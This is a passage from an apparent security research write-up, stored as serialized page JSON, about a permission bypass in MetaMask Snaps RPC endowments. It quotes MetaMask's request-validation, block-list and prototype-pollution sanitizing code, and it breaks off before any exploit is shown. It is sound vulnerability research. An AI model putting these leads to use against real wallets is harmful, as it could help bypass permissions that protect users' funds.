attacks",{"type":23,"tag":24,"props":35637,"children":35638},{},[35639],{"type":28,"value":35640},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":14178,"props":35642,"children":35643},{},[35644,35649,35654,35659],{"type":23,"tag":77,"props":35645,"children":35646},{},[35647],{"type":28,"value":35648},"Broken SES Container isolation",{"type":23,"tag":77,"props":35650,"children":35651},{},[35652],{"type":28,"value":35653},"Insecure endowments in Containers",{"type":23,"tag":77,"props":35655,"children":35656},{},[35657],{"type":28,"value":35658},"Incorrect RPC permission checks",{"type":23,"tag":77,"props":35660,"children":35661},{},[35662],{"type":28,"value":35663},"Insecure snap installation/update",{"type":23,"tag":24,"props":35665,"children":35666},{},[35667],{"type":28,"value":35668},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":35670,"children":35671},{},[35672],{"type":28,"value":35673},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":7092,"props":35675,"children":35677},{"id":35676},"rpc-interfaces-endowments",[35678],{"type":28,"value":35679},"RPC interfaces endowments",{"type":23,"tag":16388,"props":35681,"children":35683},{"id":35682},"providers-limitations",[35684],{"type":28,"value":35685},"Providers limitations",{"type":23,"tag":24,"props":35687,"children":35688},{},[35689,35691,35697,35698,35703,35705,35712],{"type":28,"value":35690},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":64,"props":35692,"children":35694},{"className":35693},[],[35695],{"type":28,"value":35696},"snap",{"type":28,"value":8478},{"type":23,"tag":64,"props":35699,"children":35701},{"className":35700},[],[35702],{"type":28,"value":28932},{"type":28,"value":35704}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":190,"props":35706,"children":35709},{"href":35707,"rel":35708},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[194],[35710],{"type":28,"value":35711},"methods",{"type":28,"value":287},{"type":23,"tag":435,"props":35714,"children":35716},{"className":33131,"code":35715,"language":33133,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[35717],{"type":23,"tag":64,"props":35718,"children":35719},{"__ignoreMap":7},[35720,35760,35768,35780,35850,35911,35923,35931,35942,35982,36012,36024,36049,36056,36064,36071,36109],{"type":23,"tag":481,"props":35721,"children":35722},{"class":483,"line":484},[35723,35728,35733,35738,35742,35747,35751,35756],{"type":23,"tag":481,"props":35724,"children":35725},{"style":535},[35726],{"type":28,"value":35727},"export",{"type":23,"tag":481,"props":35729,"children":35730},{"style":497},[35731],{"type":28,"value":35732}," function",{"type":23,"tag":481,"props":35734,"children":35735},{"style":610},[35736],{"type":28,"value":35737}," assertSnapOutboundRequest",{"type":23,"tag":481,"props":35739,"children":35740},{"style":525},[35741],{"type":28,"value":618},{"type":23,"tag":481,"props":35743,"children":35744},{"style":508},[35745],{"type":28,"value":35746},"args",{"type":23,"tag":481,"props":35748,"children":35749},{"style":514},[35750],{"type":28,"value":287},{"type":23,"tag":481,"props":35752,"children":35753},{"style":943},[35754],{"type":28,"value":35755}," RequestArguments",{"type":23,"tag":481,"props":35757,"children":35758},{"style":525},[35759],{"type":28,"value":12292},{"type":23,"tag":481,"props":35761,"children":35762},{"class":483,"line":351},[35763],{"type":23,"tag":481,"props":35764,"children":35765},{"style":488},[35766],{"type":28,"value":35767}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":481,"props":35769,"children":35770},{"class":483,"line":531},[35771,35776],{"type":23,"tag":481,"props":35772,"children":35773},{"style":610},[35774],{"type":28,"value":35775}," assert",{"type":23,"tag":481,"props":35777,"children":35778},{"style":525},[35779],{"type":28,"value":988},{"type":23,"tag":481,"props":35781,"children":35782},{"class":483,"line":567},[35783,35788,35792,35797,35801,35806,35810,35815,35819,35823,35827,35832,35836,35841,35845],{"type":23,"tag":481,"props":35784,"children":35785},{"style":943},[35786],{"type":28,"value":35787}," String",{"type":23,"tag":481,"props":35789,"children":35790},{"style":525},[35791],{"type":28,"value":199},{"type":23,"tag":481,"props":35793,"children":35794},{"style":508},[35795],{"type":28,"value":35796},"prototype",{"type":23,"tag":481,"props":35798,"children":35799},{"style":525},[35800],{"type":28,"value":199},{"type":23,"tag":481,"props":35802,"children":35803},{"style":508},[35804],{"type":28,"value":35805},"startsWith",{"type":23,"tag":481,"props":35807,"children":35808},{"style":525},[35809],{"type":28,"value":199},{"type":23,"tag":481,"props":35811,"children":35812},{"style":610},[35813],{"type":28,"value":35814},"call",{"type":23,"tag":481,"props":35816,"children":35817},{"style":525},[35818],{"type":28,"value":618},{"type":23,"tag":481,"props":35820,"children":35821},{"style":508},[35822],{"type":28,"value":35746},{"type":23,"tag":481,"props":35824,"children":35825},{"style":525},[35826],{"type":28,"value":199},{"type":23,"tag":481,"props":35828,"children":35829},{"style":508},[35830],{"type":28,"value":35831},"method",{"type":23,"tag":481,"props":35833,"children":35834},{"style":525},[35835],{"type":28,"value":588},{"type":23,"tag":481,"props":35837,"children":35838},{"style":1805},[35839],{"type":28,"value":35840},"'wallet_'",{"type":23,"tag":481,"props":35842,"children":35843},{"style":525},[35844],{"type":28,"value":598},{"type":23,"tag":481,"props":35846,"children":35847},{"style":514},[35848],{"type":28,"value":35849},"||\n",{"type":23,"tag":481,"props":35851,"children":35852},{"class":483,"line":678},[35853,35858,35862,35866,35870,35874,35878,35882,35886,35890,35894,35898,35902,35907],{"type":23,"tag":481,"props":35854,"children":35855},{"style":943},[35856],{"type":28,"value":35857}," String",{"type":23,"tag":481,"props":35859,"children":35860},{"style":525},[35861],{"type":28,"value":199},{"type":23,"tag":481,"props":35863,"children":35864},{"style":508},[35865],{"type":28,"value":35796},{"type":23,"tag":481,"props":35867,"children":35868},{"style":525},[35869],{"type":28,"value":199},{"type":23,"tag":481,"props":35871,"children":35872},{"style":508},[35873],{"type":28,"value":35805},{"type":23,"tag":481,"props":35875,"children":35876},{"style":525},[35877],{"type":28,"value":199},{"type":23,"tag":481,"props":35879,"children":35880},{"style":610},[35881],{"type":28,"value":35814},{"type":23,"tag":481,"props":35883,"children":35884},{"style":525},[35885],{"type":28,"value":618},{"type":23,"tag":481,"props":35887,"children":35888},{"style":508},[35889],{"type":28,"value":35746},{"type":23,"tag":481,"props":35891,"children":35892},{"style":525},[35893],{"type":28,"value":199},{"type":23,"tag":481,"props":35895,"children":35896},{"style":508},[35897],{"type":28,"value":35831},{"type":23,"tag":481,"props":35899,"children":35900},{"style":525},[35901],{"type":28,"value":588},{"type":23,"tag":481,"props":35903,"children":35904},{"style":1805},[35905],{"type":28,"value":35906},"'snap_'",{"type":23,"tag":481,"props":35908,"children":35909},{"style":525},[35910],{"type":28,"value":4214},{"type":23,"tag":481,"props":35912,"children":35913},{"class":483,"line":784},[35914,35919],{"type":23,"tag":481,"props":35915,"children":35916},{"style":1805},[35917],{"type":28,"value":35918}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":481,"props":35920,"children":35921},{"style":525},[35922],{"type":28,"value":1033},{"type":23,"tag":481,"props":35924,"children":35925},{"class":483,"line":812},[35926],{"type":23,"tag":481,"props":35927,"children":35928},{"style":525},[35929],{"type":28,"value":35930}," );\n",{"type":23,"tag":481,"props":35932,"children":35933},{"class":483,"line":825},[35934,35938],{"type":23,"tag":481,"props":35935,"children":35936},{"style":610},[35937],{"type":28,"value":35775},{"type":23,"tag":481,"props":35939,"children":35940},{"style":525},[35941],{"type":28,"value":988},{"type":23,"tag":481,"props":35943,"children":35944},{"class":483,"line":843},[35945,35949,35954,35958,35962,35966,35970,35974,35978],{"type":23,"tag":481,"props":35946,"children":35947},{"style":514},[35948],{"type":28,"value":18468},{"type":23,"tag":481,"props":35950,"children":35951},{"style":508},[35952],{"type":28,"value":35953},"BLOCKED_RPC_METHODS",{"type":23,"tag":481,"props":35955,"children":35956},{"style":525},[35957],{"type":28,"value":199},{"type":23,"tag":481,"props":35959,"children":35960},{"style":610},[35961],{"type":28,"value":32698},{"type":23,"tag":481,"props":35963,"children":35964},{"style":525},[35965],{"type":28,"value":618},{"type":23,"tag":481,"props":35967,"children":35968},{"style":508},[35969],{"type":28,"value":35746},{"type":23,"tag":481,"props":35971,"children":35972},{"style":525},[35973],{"type":28,"value":199},{"type":23,"tag":481,"props":35975,"children":35976},{"style":508},[35977],{"type":28,"value":35831},{"type":23,"tag":481,"props":35979,"children":35980},{"style":525},[35981],{"type":28,"value":4214},{"type":23,"tag":481,"props":35983,"children":35984},{"class":483,"line":864},[35985,35990,35994,35999,36003,36008],{"type":23,"tag":481,"props":35986,"children":35987},{"style":508},[35988],{"type":28,"value":35989}," ethErrors",{"type":23,"tag":481,"props":35991,"children":35992},{"style":525},[35993],{"type":28,"value":199},{"type":23,"tag":481,"props":35995,"children":35996},{"style":508},[35997],{"type":28,"value":35998},"rpc",{"type":23,"tag":481,"props":36000,"children":36001},{"style":525},[36002],{"type":28,"value":199},{"type":23,"tag":481,"props":36004,"children":36005},{"style":610},[36006],{"type":28,"value":36007},"methodNotFound",{"type":23,"tag":481,"props":36009,"children":36010},{"style":525},[36011],{"type":28,"value":12629},{"type":23,"tag":481,"props":36013,"children":36014},{"class":483,"line":873},[36015,36020],{"type":23,"tag":481,"props":36016,"children":36017},{"style":508},[36018],{"type":28,"value":36019}," data:",{"type":23,"tag":481,"props":36021,"children":36022},{"style":525},[36023],{"type":28,"value":809},{"type":23,"tag":481,"props":36025,"children":36026},{"class":483,"line":1125},[36027,36032,36037,36041,36045],{"type":23,"tag":481,"props":36028,"children":36029},{"style":508},[36030],{"type":28,"value":36031}," method:",{"type":23,"tag":481,"props":36033,"children":36034},{"style":508},[36035],{"type":28,"value":36036}," args",{"type":23,"tag":481,"props":36038,"children":36039},{"style":525},[36040],{"type":28,"value":199},{"type":23,"tag":481,"props":36042,"children":36043},{"style":508},[36044],{"type":28,"value":35831},{"type":23,"tag":481,"props":36046,"children":36047},{"style":525},[36048],{"type":28,"value":1033},{"type":23,"tag":481,"props":36050,"children":36051},{"class":483,"line":1142},[36052],{"type":23,"tag":481,"props":36053,"children":36054},{"style":525},[36055],{"type":28,"value":34717},{"type":23,"tag":481,"props":36057,"children":36058},{"class":483,"line":1159},[36059],{"type":23,"tag":481,"props":36060,"children":36061},{"style":525},[36062],{"type":28,"value":36063}," }),\n",{"type":23,"tag":481,"props":36065,"children":36066},{"class":483,"line":1172},[36067],{"type":23,"tag":481,"props":36068,"children":36069},{"style":525},[36070],{"type":28,"value":35930},{"type":23,"tag":481,"props":36072,"children":36073},{"class":483,"line":1181},[36074,36079,36083,36087,36091,36096,36100,36105],{"type":23,"tag":481,"props":36075,"children":36076},{"style":610},[36077],{"type":28,"value":36078}," assertStruct",{"type":23,"tag":481,"props":36080,"children":36081},{"style":525},[36082],{"type":28,"value":618},{"type":23,"tag":481,"props":36084,"children":36085},{"style":508},[36086],{"type":28,"value":35746},{"type":23,"tag":481,"props":36088,"children":36089},{"style":525},[36090],{"type":28,"value":588},{"type":23,"tag":481,"props":36092,"children":36093},{"style":508},[36094],{"type":28,"value":36095},"JsonStruct",{"type":23,"tag":481,"props":36097,"children":36098},{"style":525},[36099],{"type":28,"value":588},{"type":23,"tag":481,"props":36101,"children":36102},{"style":1805},[36103],{"type":28,"value":36104},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":481,"props":36106,"children":36107},{"style":525},[36108],{"type":28,"value":1366},{"type":23,"tag":481,"props":36110,"children":36111},{"class":483,"line":1204},[36112],{"type":23,"tag":481,"props":36113,"children":36114},{"style":525},[36115],{"type":28,"value":1443},{"type":23,"tag":24,"props":36117,"children":36118},{},[36119,36121,36126,36128,36134,36135,36141],{"type":28,"value":36120},"This function is called by the ",{"type":23,"tag":64,"props":36122,"children":36124},{"className":36123},[],[36125],{"type":28,"value":35696},{"type":28,"value":36127}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":64,"props":36129,"children":36131},{"className":36130},[],[36132],{"type":28,"value":36133},"wallet_",{"type":28,"value":10621},{"type":23,"tag":64,"props":36136,"children":36138},{"className":36137},[],[36139],{"type":28,"value":36140},"snap_",{"type":28,"value":36142},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":36144,"children":36145},{},[36146,36148,36153,36155,36160,36162,36168],{"type":28,"value":36147},"On the other hand, the ",{"type":23,"tag":64,"props":36149,"children":36151},{"className":36150},[],[36152],{"type":28,"value":28932},{"type":28,"value":36154}," provider only blocks methods starting with ",{"type":23,"tag":64,"props":36156,"children":36158},{"className":36157},[],[36159],{"type":28,"value":36140},{"type":28,"value":36161}," and the blocked methods. However, it requires the ",{"type":23,"tag":64,"props":36163,"children":36165},{"className":36164},[],[36166],{"type":28,"value":36167},"endowment:ethereum-provider",{"type":28,"value":36169}," permission in the snap manifest.",{"type":23,"tag":16388,"props":36171,"children":36173},{"id":36172},"execution-flow",[36174],{"type":28,"value":36175},"Execution flow",{"type":23,"tag":24,"props":36177,"children":36178},{},[36179,36181,36186,36187,36192,36194,36199,36200,36206],{"type":28,"value":36180},"Both providers (",{"type":23,"tag":64,"props":36182,"children":36184},{"className":36183},[],[36185],{"type":28,"value":35696},{"type":28,"value":8478},{"type":23,"tag":64,"props":36188,"children":36190},{"className":36189},[],[36191],{"type":28,"value":28932},{"type":28,"value":36193},") are built outside the SES container with a ",{"type":23,"tag":64,"props":36195,"children":36197},{"className":36196},[],[36198],{"type":28,"value":29008},{"type":28,"value":3935},{"type":23,"tag":190,"props":36201,"children":36204},{"href":36202,"rel":36203},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[194],[36205],{"type":28,"value":28892},{"type":28,"value":287},{"type":23,"tag":435,"props":36208,"children":36210},{"className":33448,"code":36209,"language":33450,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[36211],{"type":23,"tag":64,"props":36212,"children":36213},{"__ignoreMap":7},[36214,36261,36286,36319,36354,36366,36386,36424,36444,36451,36468,36501,36508],{"type":23,"tag":481,"props":36215,"children":36216},{"class":483,"line":484},[36217,36221,36225,36229,36233,36237,36241,36245,36249,36253,36257],{"type":23,"tag":481,"props":36218,"children":36219},{"style":497},[36220],{"type":28,"value":33706},{"type":23,"tag":481,"props":36222,"children":36223},{"style":610},[36224],{"type":28,"value":28897},{"type":23,"tag":481,"props":36226,"children":36227},{"style":514},[36228],{"type":28,"value":517},{"type":23,"tag":481,"props":36230,"children":36231},{"style":497},[36232],{"type":28,"value":33883},{"type":23,"tag":481,"props":36234,"children":36235},{"style":525},[36236],{"type":28,"value":578},{"type":23,"tag":481,"props":36238,"children":36239},{"style":508},[36240],{"type":28,"value":35746},{"type":23,"tag":481,"props":36242,"children":36243},{"style":514},[36244],{"type":28,"value":287},{"type":23,"tag":481,"props":36246,"children":36247},{"style":943},[36248],{"type":28,"value":35755},{"type":23,"tag":481,"props":36250,"children":36251},{"style":525},[36252],{"type":28,"value":598},{"type":23,"tag":481,"props":36254,"children":36255},{"style":497},[36256],{"type":28,"value":12310},{"type":23,"tag":481,"props":36258,"children":36259},{"style":525},[36260],{"type":28,"value":809},{"type":23,"tag":481,"props":36262,"children":36263},{"class":483,"line":351},[36264,36269,36273,36277,36281],{"type":23,"tag":481,"props":36265,"children":36266},{"style":610},[36267],{"type":28,"value":36268}," assertSnapOutboundRequest",{"type":23,"tag":481,"props":36270,"children":36271},{"style":525},[36272],{"type":28,"value":618},{"type":23,"tag":481,"props":36274,"children":36275},{"style":508},[36276],{"type":28,"value":35746},{"type":23,"tag":481,"props":36278,"children":36279},{"style":525},[36280],{"type":28,"value":25865},{"type":23,"tag":481,"props":36282,"children":36283},{"style":488},[36284],{"type":28,"value":36285},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":481,"props":36287,"children":36288},{"class":483,"line":531},[36289,36293,36298,36302,36307,36311,36315],{"type":23,"tag":481,"props":36290,"children":36291},{"style":497},[36292],{"type":28,"value":29062},{"type":23,"tag":481,"props":36294,"children":36295},{"style":508},[36296],{"type":28,"value":36297}," sanitizedArgs",{"type":23,"tag":481,"props":36299,"children":36300},{"style":514},[36301],{"type":28,"value":517},{"type":23,"tag":481,"props":36303,"children":36304},{"style":610},[36305],{"type":28,"value":36306}," getSafeJson",{"type":23,"tag":481,"props":36308,"children":36309},{"style":525},[36310],{"type":28,"value":618},{"type":23,"tag":481,"props":36312,"children":36313},{"style":508},[36314],{"type":28,"value":35746},{"type":23,"tag":481,"props":36316,"children":36317},{"style":525},[36318],{"type":28,"value":1366},{"type":23,"tag":481,"props":36320,"children":36321},{"class":483,"line":567},[36322,36327,36331,36336,36340,36344,36349],{"type":23,"tag":481,"props":36323,"children":36324},{"style":497},[36325],{"type":28,"value":36326}," this",{"type":23,"tag":481,"props":36328,"children":36329},{"style":525},[36330],{"type":28,"value":199},{"type":23,"tag":481,"props":36332,"children":36333},{"style":610},[36334],{"type":28,"value":36335},"notify",{"type":23,"tag":481,"props":36337,"children":36338},{"style":525},[36339],{"type":28,"value":29013},{"type":23,"tag":481,"props":36341,"children":36342},{"style":508},[36343],{"type":28,"value":29018},{"type":23,"tag":481,"props":36345,"children":36346},{"style":1805},[36347],{"type":28,"value":36348}," 'OutboundRequest'",{"type":23,"tag":481,"props":36350,"children":36351},{"style":525},[36352],{"type":28,"value":36353}," });\n",{"type":23,"tag":481,"props":36355,"children":36356},{"class":483,"line":678},[36357,36362],{"type":23,"tag":481,"props":36358,"children":36359},{"style":535},[36360],{"type":28,"value":36361}," try",{"type":23,"tag":481,"props":36363,"children":36364},{"style":525},[36365],{"type":28,"value":809},{"type":23,"tag":481,"props":36367,"children":36368},{"class":483,"line":784},[36369,36373,36377,36382],{"type":23,"tag":481,"props":36370,"children":36371},{"style":535},[36372],{"type":28,"value":13234},{"type":23,"tag":481,"props":36374,"children":36375},{"style":535},[36376],{"type":28,"value":33729},{"type":23,"tag":481,"props":36378,"children":36379},{"style":610},[36380],{"type":28,"value":36381}," withTeardown",{"type":23,"tag":481,"props":36383,"children":36384},{"style":525},[36385],{"type":28,"value":988},{"type":23,"tag":481,"props":36387,"children":36388},{"class":483,"line":812},[36389,36394,36398,36403,36407,36412,36416,36420],{"type":23,"tag":481,"props":36390,"children":36391},{"style":610},[36392],{"type":28,"value":36393}," originalRequest",{"type":23,"tag":481,"props":36395,"children":36396},{"style":525},[36397],{"type":28,"value":618},{"type":23,"tag":481,"props":36399,"children":36400},{"style":508},[36401],{"type":28,"value":36402},"sanitizedArgs",{"type":23,"tag":481,"props":36404,"children":36405},{"style":535},[36406],{"type":28,"value":6308},{"type":23,"tag":481,"props":36408,"children":36409},{"style":943},[36410],{"type":28,"value":36411}," unknown",{"type":23,"tag":481,"props":36413,"children":36414},{"style":535},[36415],{"type":28,"value":6308},{"type":23,"tag":481,"props":36417,"children":36418},{"style":943},[36419],{"type":28,"value":35755},{"type":23,"tag":481,"props":36421,"children":36422},{"style":525},[36423],{"type":28,"value":4214},{"type":23,"tag":481,"props":36425,"children":36426},{"class":483,"line":825},[36427,36432,36436,36440],{"type":23,"tag":481,"props":36428,"children":36429},{"style":497},[36430],{"type":28,"value":36431}," this",{"type":23,"tag":481,"props":36433,"children":36434},{"style":535},[36435],{"type":28,"value":6308},{"type":23,"tag":481,"props":36437,"children":36438},{"style":943},[36439],{"type":28,"value":7843},{"type":23,"tag":481,"props":36441,"children":36442},{"style":525},[36443],{"type":28,"value":1033},{"type":23,"tag":481,"props":36445,"children":36446},{"class":483,"line":843},[36447],{"type":23,"tag":481,"props":36448,"children":36449},{"style":525},[36450],{"type":28,"value":5222},{"type":23,"tag":481,"props":36452,"children":36453},{"class":483,"line":864},[36454,36459,36464],{"type":23,"tag":481,"props":36455,"children":36456},{"style":525},[36457],{"type":28,"value":36458}," } ",{"type":23,"tag":481,"props":36460,"children":36461},{"style":535},[36462],{"type":28,"value":36463},"finally",{"type":23,"tag":481,"props":36465,"children":36466},{"style":525},[36467],{"type":28,"value":809},{"type":23,"tag":481,"props":36469,"children":36470},{"class":483,"line":873},[36471,36476,36480,36484,36488,36492,36497],{"type":23,"tag":481,"props":36472,"children":36473},{"style":497},[36474],{"type":28,"value":36475}," this",{"type":23,"tag":481,"props":36477,"children":36478},{"style":525},[36479],{"type":28,"value":199},{"type":23,"tag":481,"props":36481,"children":36482},{"style":610},[36483],{"type":28,"value":36335},{"type":23,"tag":481,"props":36485,"children":36486},{"style":525},[36487],{"type":28,"value":29013},{"type":23,"tag":481,"props":36489,"children":36490},{"style":508},[36491],{"type":28,"value":29018},{"type":23,"tag":481,"props":36493,"children":36494},{"style":1805},[36495],{"type":28,"value":36496}," 'OutboundResponse'",{"type":23,"tag":481,"props":36498,"children":36499},{"style":525},[36500],{"type":28,"value":36353},{"type":23,"tag":481,"props":36502,"children":36503},{"class":483,"line":1125},[36504],{"type":23,"tag":481,"props":36505,"children":36506},{"style":525},[36507],{"type":28,"value":10151},{"type":23,"tag":481,"props":36509,"children":36510},{"class":483,"line":1142},[36511],{"type":23,"tag":481,"props":36512,"children":36513},{"style":525},[36514],{"type":28,"value":36515}," };\n",{"type":23,"tag":24,"props":36517,"children":36518},{},[36519,36521,36526,36528,36533],{"type":28,"value":36520},"In particular, this function is from the ",{"type":23,"tag":64,"props":36522,"children":36524},{"className":36523},[],[36525],{"type":28,"value":35696},{"type":28,"value":36527}," provider, but the only thing that changes between this and ",{"type":23,"tag":64,"props":36529,"children":36531},{"className":36530},[],[36532],{"type":28,"value":28932},{"type":28,"value":36534}," is the assert function in the first line.",{"type":23,"tag":24,"props":36536,"children":36537},{},[36538],{"type":28,"value":36539},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":73,"props":36541,"children":36542},{},[36543,36555,36560],{"type":23,"tag":77,"props":36544,"children":36545},{},[36546,36548,36553],{"type":28,"value":36547},"Assert if ",{"type":23,"tag":64,"props":36549,"children":36551},{"className":36550},[],[36552],{"type":28,"value":35746},{"type":28,"value":36554}," are valid",{"type":23,"tag":77,"props":36556,"children":36557},{},[36558],{"type":28,"value":36559},"getSafeJson to get sanitizedArgs",{"type":23,"tag":77,"props":36561,"children":36562},{},[36563],{"type":28,"value":36564},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":36566,"children":36567},{},[36568,36570,36576],{"type":28,"value":36569},"Obs: ",{"type":23,"tag":64,"props":36571,"children":36573},{"className":36572},[],[36574],{"type":28,"value":36575},"originalRequest",{"type":28,"value":36577}," makes the RPC call to metamask service worker",{"type":23,"tag":7092,"props":36579,"children":36581},{"id":36580},"safe-json-exploit",[36582],{"type":28,"value":36583},"Safe JSON Exploit",{"type":23,"tag":24,"props":36585,"children":36586},{},[36587,36589,36595,36597,36602,36604,36610],{"type":28,"value":36588},"As we dug further into the",{"type":23,"tag":64,"props":36590,"children":36592},{"className":36591},[],[36593],{"type":28,"value":36594},"getSafeJson",{"type":28,"value":36596}," function (defined in ",{"type":23,"tag":64,"props":36598,"children":36600},{"className":36599},[],[36601],{"type":28,"value":34814},{"type":28,"value":36603}," package) we discovered the following ",{"type":23,"tag":190,"props":36605,"children":36608},{"href":36606,"rel":36607},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[194],[36609],{"type":28,"value":64},{"type":28,"value":287},{"type":23,"tag":435,"props":36612,"children":36614},{"className":33131,"code":36613,"language":33133,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[36615],{"type":23,"tag":64,"props":36616,"children":36617},{"__ignoreMap":7},[36618,36683,36710,36735,36790,36798,36845,36861,36868,36885,36892,36899],{"type":23,"tag":481,"props":36619,"children":36620},{"class":483,"line":484},[36621,36625,36630,36635,36639,36644,36648,36653,36657,36661,36666,36671,36675,36679],{"type":23,"tag":481,"props":36622,"children":36623},{"style":535},[36624],{"type":28,"value":35727},{"type":23,"tag":481,"props":36626,"children":36627},{"style":497},[36628],{"type":28,"value":36629}," const",{"type":23,"tag":481,"props":36631,"children":36632},{"style":508},[36633],{"type":28,"value":36634}," JsonStruct",{"type":23,"tag":481,"props":36636,"children":36637},{"style":514},[36638],{"type":28,"value":517},{"type":23,"tag":481,"props":36640,"children":36641},{"style":610},[36642],{"type":28,"value":36643}," coerce",{"type":23,"tag":481,"props":36645,"children":36646},{"style":525},[36647],{"type":28,"value":618},{"type":23,"tag":481,"props":36649,"children":36650},{"style":508},[36651],{"type":28,"value":36652},"UnsafeJsonStruct",{"type":23,"tag":481,"props":36654,"children":36655},{"style":525},[36656],{"type":28,"value":588},{"type":23,"tag":481,"props":36658,"children":36659},{"style":610},[36660],{"type":28,"value":14205},{"type":23,"tag":481,"props":36662,"children":36663},{"style":525},[36664],{"type":28,"value":36665},"(), (",{"type":23,"tag":481,"props":36667,"children":36668},{"style":508},[36669],{"type":28,"value":36670},"value",{"type":23,"tag":481,"props":36672,"children":36673},{"style":525},[36674],{"type":28,"value":598},{"type":23,"tag":481,"props":36676,"children":36677},{"style":497},[36678],{"type":28,"value":12310},{"type":23,"tag":481,"props":36680,"children":36681},{"style":525},[36682],{"type":28,"value":809},{"type":23,"tag":481,"props":36684,"children":36685},{"class":483,"line":351},[36686,36690,36694,36698,36702,36706],{"type":23,"tag":481,"props":36687,"children":36688},{"style":610},[36689],{"type":28,"value":36078},{"type":23,"tag":481,"props":36691,"children":36692},{"style":525},[36693],{"type":28,"value":618},{"type":23,"tag":481,"props":36695,"children":36696},{"style":508},[36697],{"type":28,"value":36670},{"type":23,"tag":481,"props":36699,"children":36700},{"style":525},[36701],{"type":28,"value":588},{"type":23,"tag":481,"props":36703,"children":36704},{"style":508},[36705],{"type":28,"value":36652},{"type":23,"tag":481,"props":36707,"children":36708},{"style":525},[36709],{"type":28,"value":1366},{"type":23,"tag":481,"props":36711,"children":36712},{"class":483,"line":531},[36713,36718,36722,36726,36731],{"type":23,"tag":481,"props":36714,"children":36715},{"style":535},[36716],{"type":28,"value":36717}," return",{"type":23,"tag":481,"props":36719,"children":36720},{"style":508},[36721],{"type":28,"value":35046},{"type":23,"tag":481,"props":36723,"children":36724},{"style":525},[36725],{"type":28,"value":199},{"type":23,"tag":481,"props":36727,"children":36728},{"style":610},[36729],{"type":28,"value":36730},"parse",{"type":23,"tag":481,"props":36732,"children":36733},{"style":525},[36734],{"type":28,"value":988},{"type":23,"tag":481,"props":36736,"children":36737},{"class":483,"line":567},[36738,36743,36747,36752,36756,36760,36764,36769,36773,36778,36782,36786],{"type":23,"tag":481,"props":36739,"children":36740},{"style":508},[36741],{"type":28,"value":36742}," JSON",{"type":23,"tag":481,"props":36744,"children":36745},{"style":525},[36746],{"type":28,"value":199},{"type":23,"tag":481,"props":36748,"children":36749},{"style":610},[36750],{"type":28,"value":36751},"stringify",{"type":23,"tag":481,"props":36753,"children":36754},{"style":525},[36755],{"type":28,"value":618},{"type":23,"tag":481,"props":36757,"children":36758},{"style":508},[36759],{"type":28,"value":36670},{"type":23,"tag":481,"props":36761,"children":36762},{"style":525},[36763],{"type":28,"value":6299},{"type":23,"tag":481,"props":36765,"children":36766},{"style":508},[36767],{"type":28,"value":36768},"propKey",{"type":23,"tag":481,"props":36770,"children":36771},{"style":525},[36772],{"type":28,"value":588},{"type":23,"tag":481,"props":36774,"children":36775},{"style":508},[36776],{"type":28,"value":36777},"propValue",{"type":23,"tag":481,"props":36779,"children":36780},{"style":525},[36781],{"type":28,"value":598},{"type":23,"tag":481,"props":36783,"children":36784},{"style":497},[36785],{"type":28,"value":12310},{"type":23,"tag":481,"props":36787,"children":36788},{"style":525},[36789],{"type":28,"value":809},{"type":23,"tag":481,"props":36791,"children":36792},{"class":483,"line":678},[36793],{"type":23,"tag":481,"props":36794,"children":36795},{"style":488},[36796],{"type":28,"value":36797}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":481,"props":36799,"children":36800},{"class":483,"line":784},[36801,36806,36810,36814,36818,36823,36827,36832,36836,36841],{"type":23,"tag":481,"props":36802,"children":36803},{"style":535},[36804],{"type":28,"value":36805}," if",{"type":23,"tag":481,"props":36807,"children":36808},{"style":525},[36809],{"type":28,"value":578},{"type":23,"tag":481,"props":36811,"children":36812},{"style":508},[36813],{"type":28,"value":36768},{"type":23,"tag":481,"props":36815,"children":36816},{"style":514},[36817],{"type":28,"value":28937},{"type":23,"tag":481,"props":36819,"children":36820},{"style":1805},[36821],{"type":28,"value":36822}," 